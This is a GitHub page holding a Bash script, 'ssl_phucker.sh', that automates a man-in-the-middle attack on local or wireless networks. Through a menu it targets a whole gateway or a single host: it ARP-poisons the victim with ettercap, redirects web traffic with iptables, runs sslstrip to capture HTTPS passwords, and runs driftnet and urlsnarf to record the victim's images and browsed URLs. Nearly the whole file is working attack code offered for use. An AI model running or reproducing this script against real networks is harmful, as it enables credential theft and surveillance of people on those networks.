forked from g0tmi1k/os-scripts
-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathssl_phucker.sh
executable file
·279 lines (212 loc) · 7.25 KB
/
ssl_phucker.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
#!/bin/sh
clear
# This cript was written by me n1tr0g3n with a lot of input from R4V3N747700 and help from all the guys on the Top-Hat-Sec.com Forum.
#Thanks to TAPE for his input and suggestions which were utilized into the script to make it more functional. And a #special thanks to my lovely girlfriend who puts up with me being on the #computer all the time, I love you with all my #heart. We do this for the security community and hope you guys enjoy our work. Thanks for using the script and we hope #it #works wel #for you.
echo
echo ""
echo ""
echo ""
echo ""
echo ""
echo " n1tr0g3n's all in one Network Sniffer";
echo ""
echo " coded with help by R4V3N747700"
echo ""
echo " www.n1tr0g3n.com & www.Top-Hat-Sec.com";
sleep 3
clear
echo ""
echo ""
echo "--------------------------------------------------------------------------------------------------"
echo "A bunch of Xterm windows will open on top of eachother so just spread them out across your screen";
echo "--------------------------------------------------------------------------------------------------"
echo ""
echo " If SSLstrip gives you errors please rerun the script"
echo ""
echo " when done with the attack click ENTER in the ettercap window to cleanup"
echo ""
echo ""
sleep 4
clear
#This command will ask you for your interface name
echo
echo "Please type the name of your network interface in below";
read IFACE;
sleep 2
echo ""
echo ""
clear
echo ""
echo " ----------------------------------------------------------------------------------"
echo ""
echo " |-----------------------------------| |-----------------------------------|"
echo " | Attack Entire Gateway | | Attack single host |"
echo " | | | |"
echo " | 1 For LAN attack | | 3 For LAN attack |"
echo " | 2 For Wireless Attack | | 4 For Wireless Attack |"
echo " |-----------------------------------| |-----------------------------------|"
echo ""
echo " ----------------------------------------------------------------------------------"
echo ""
echo ""
echo ""
echo " Select Menu Option: "
read menuoption
if [ $menuoption = "1" ]; then
echo "This should be your Gateway from what I see: "
route -n | grep 'UG[ \t]' | awk '{print $2}'
echo ""
echo ""
echo "Please type the IP of your Gateway in below";
read GATEWAY;
echo ""
echo ""
echo "Starting attack on Gateway"
route -n | grep 'UG[ \t]' | awk '{print $2}'
sleep 2
#This will allow you to forward packets from the router
echo "1" > /proc/sys/net/ipv4/ip_forward
#This will start driftnet to capture images on your computer
sudo xterm -e driftnet -i $IFACE &
#This will start URLSnarf to show the websites the victim browses
sudo xterm -e urlsnarf -i $IFACE &
#this command will set up all redirection
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
#This command will start ettercap
ettercap -TqM ARP:REMOTE // // &
#This command will start SSLStrip to start sniffing https:// passwords
sudo xterm -e sslstrip -a -l 8080 &
echo
echo "Press ENTER to stop session"
read ENTERKEY
killall sslstrip
killall ettercap
killall urlsnarf
killall xterm
echo "0" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
else
if [ $menuoption = "2" ]; then
#This will allow you to forward packets from the router
echo "This should be your gateway from what I see: "
route -n | grep 'UG[ \t]' | awk '{print $2}'
echo ""
echo ""
echo "Please type the IP of your gateway in below";
read GATEWAY;
echo ""
echo "Starting attack on gateway"
route -n | grep 'UG[ \t]' | awk '{print $2}'
sleep 2
echo "1" > /proc/sys/net/ipv4/ip_forward
#This will start driftnet to capture images on your computer
sudo xterm -e driftnet -i $IFACE &
#This will start URLSnarf to show the websites the victim browses
sudo xterm -e urlsnarf -i $IFACE &
#this command will set up all redirection
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
#This command will start ettercap
ettercap -Tq -i $IFACE -M arp:remote /$GATEWAY/ // &
#sudo xterm -e ettercap -TqM ARP:REMOTE // // & -----> command for LAN
#This command will start SSLStrip to start sniffing https:// passwords
sudo xterm -e sslstrip -a -l 8080 &
echo "Press ENTER to stop session"
read ENTERKEY
killall sslstrip
killall ettercap
killall urlsnarf
killall xterm
echo "0" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
else
if [ $menuoption = "3" ]; then
#This will allow you to forward packets from the router
echo ""
echo ""
echo "This should be your gateway from what I see: "
route -n | grep 'UG[ \t]' | awk '{print $2}'
echo ""
echo ""
echo "Please type the IP of your gateway in below";
read GATEWAY3;
echo ""
echo ""
echo "Please type the IP of the target host below";
read HOST3;
echo ""
echo ""
echo " Starting Attack on Target Host"
sleep 2
echo "1" > /proc/sys/net/ipv4/ip_forward
#This will start driftnet to capture images on your computer
sudo xterm -e driftnet -i $IFACE &
#This will start URLSnarf to show the websites the victim browses
sudo xterm -e urlsnarf -i $IFACE &
#this command will set up all redirection
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
#This command will start ettercap
ettercap -TqM ARP:REMOTE /$GATEWAY3/ /$HOST3/ &
#This command will start SSLStrip to start sniffing https:// passwords
xterm -e sslstrip -a -l 8080 &
echo "Press ENTER to stop session"
read ENTERKEY
killall sslstrip
killall ettercap
killall urlsnarf
killall xterm
echo "0" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
else
if [ $menuoption = "4" ]; then
#This will allow you to forward packets from the router
echo ""
echo ""
echo "This should be your Gateway from what I see: "
route -n | grep 'UG[ \t]' | awk '{print $2}'
echo ""
echo ""
echo "Please type the IP of your gateway in below";
read GATEWAY4;
echo ""
echo ""
echo "Please type the IP of the target host below";
read HOST4;
echo ""
echo ""
echo " Starting Attack on Target Host"
sleep 2
echo "1" > /proc/sys/net/ipv4/ip_forward
#This will start driftnet to capture images on your computer
sudo xterm -e driftnet -i $IFACE &
#This will start URLSnarf to show the websites the victim browses
sudo xterm -e urlsnarf -i $IFACE &
#this command will set up all redirection
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
#This command will start ettercap
ettercap -Tq -i $IFACE -M arp:remote /$GATEWAY4/ /$HOST4/ &
#This command will start SSLStrip to start sniffing https:// passwords
sudo xterm -e sslstrip -a -l 8080 &
echo "Press ENTER to stop session"
read ENTERKEY
killall sslstrip
killall ettercap
killall urlsnarf
killall xterm
echo "0" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
fi
fi
fi
fi